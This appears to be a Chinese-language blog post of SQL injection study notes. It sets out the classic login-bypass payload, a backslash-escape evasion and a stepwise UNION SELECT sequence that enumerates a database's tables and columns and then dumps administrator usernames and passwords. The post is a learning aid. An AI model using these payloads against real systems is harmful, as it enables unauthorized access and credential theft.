SQL注入学习笔记

一、SQL注入的分类

按照请求方法分类,可以分为GET型注入和POST型注入:
1、GET型注入
GET传参,用户输入的内容参数被传到地址栏,是通过GET的方式进行传参;
特点是内容可见,长度有限,参数有标识:“?”

2、POST型注入
用户输入的内容被隐藏起来,地址栏看不到;
特点是长度没有限制;

按照数据类型划分,可以分为整型注入和字符串注入;

3、数据库分为关系型数据库和非关系型数据库;
关系型数据库例如:mysql sqlserver
非关系型数据库:mongodb redis

4、sql注入的场景
登录和注册功能
搜索功能
详情功能
任何和数据库存在交互的地方;

二、sql常用查询语句

查询表中所有数据
select * from tw_admin
select * from tw_admin where id=34
select password from tw_admin where username="李晓晓”
select password from tw_admin where id=34


三、古老的万能密码

存在漏洞的后台验证代码
$sql = select username,password from users where username='$uname' and password='passwd';

万能密码
用户名输入:1' or 1=1#
密码输入:111

带入后的效果
$sql = select username,password from users where username='1' or 1=1#' and password='111';

# 在sql语句中#的作用是注释掉后面部分,不论后面有什么内容;
1后面用单引号和双引号,需要去尝试,如果单引号和双引号都不行,就考虑存在过滤了;


四、引号过滤

如果开发人员想到了这个漏洞,提前做了过滤,怎么办
反斜线过滤
\'
\"
\\
开发人员设置在引号前面加一个反斜线,达到过滤单引号和双引号的作用;

新的在用户名的地方输入:
1\' or 1=1#


五、Mysql支持联合查询 union select ...

1、通过1=1#   1=2# 进行判断是否存在sql注入;

2、order by 查询字段数  通过临界值的方法;
id=15 order by

3、判断显示位
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#

4、select * from users;
查数据库名:database()
数据库版本:version()
数据库用户:user()
读取数据库路径:@@datadir
MySQL安装路径:@@basedir
储存所有表名信息的表:information scheam.tables
储存所有列明信息的表:information_schema.columns
表名:table_name
数据库名:table_schema
列名:column_name

例子:
查数据库名
id=15 union select database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15#
结果:tarman_db

查表名
id=15 union select table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema="tarman_db"#
结果:tw_order
分析可能会有tw_admin等类似的表


查字段名
id=15 union select column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema="tarman_db" and table_name="tw_admin"#

通过查字段名可以知道存在username password字段


5、数据
id=15 union select username,password,3,4,5,6,7,8,9,10,11,12,13,14,15 from tw_admin

相关推荐

  1. SQL注入学习笔记

    2024-01-04 14:36:06       49 阅读
  2. THM学习笔记——SQL注入

    2024-01-04 14:36:06       39 阅读
  3. sql注入笔记整理

    2024-01-04 14:36:06       39 阅读
  4. sql注入union 联合查询学习笔记

    2024-01-04 14:36:06       44 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-04 14:36:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-04 14:36:06       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-04 14:36:06       82 阅读
  4. Python语言-面向对象

    2024-01-04 14:36:06       91 阅读

热门阅读

  1. ElementUi中table组件使用row-class-name修改指定行

    2024-01-04 14:36:06       62 阅读
  2. Qt的三大机制(面试)

    2024-01-04 14:36:06       51 阅读
  3. 【嵌入式——C语言】动态内存申请

    2024-01-04 14:36:06       73 阅读
  4. LeetCode每周五题_2024/01/01~2024/01/05

    2024-01-04 14:36:06       58 阅读
  5. MATLAB --- dlmread( )函数的用法

    2024-01-04 14:36:06       66 阅读
  6. clickhouse-client INSERT CSV/TSV时跳过错误行

    2024-01-04 14:36:06       58 阅读
  7. Linux中经常使用的相关命令

    2024-01-04 14:36:06       61 阅读
  8. elasticsearch7.17.9两节点集群改为单节点

    2024-01-04 14:36:06       61 阅读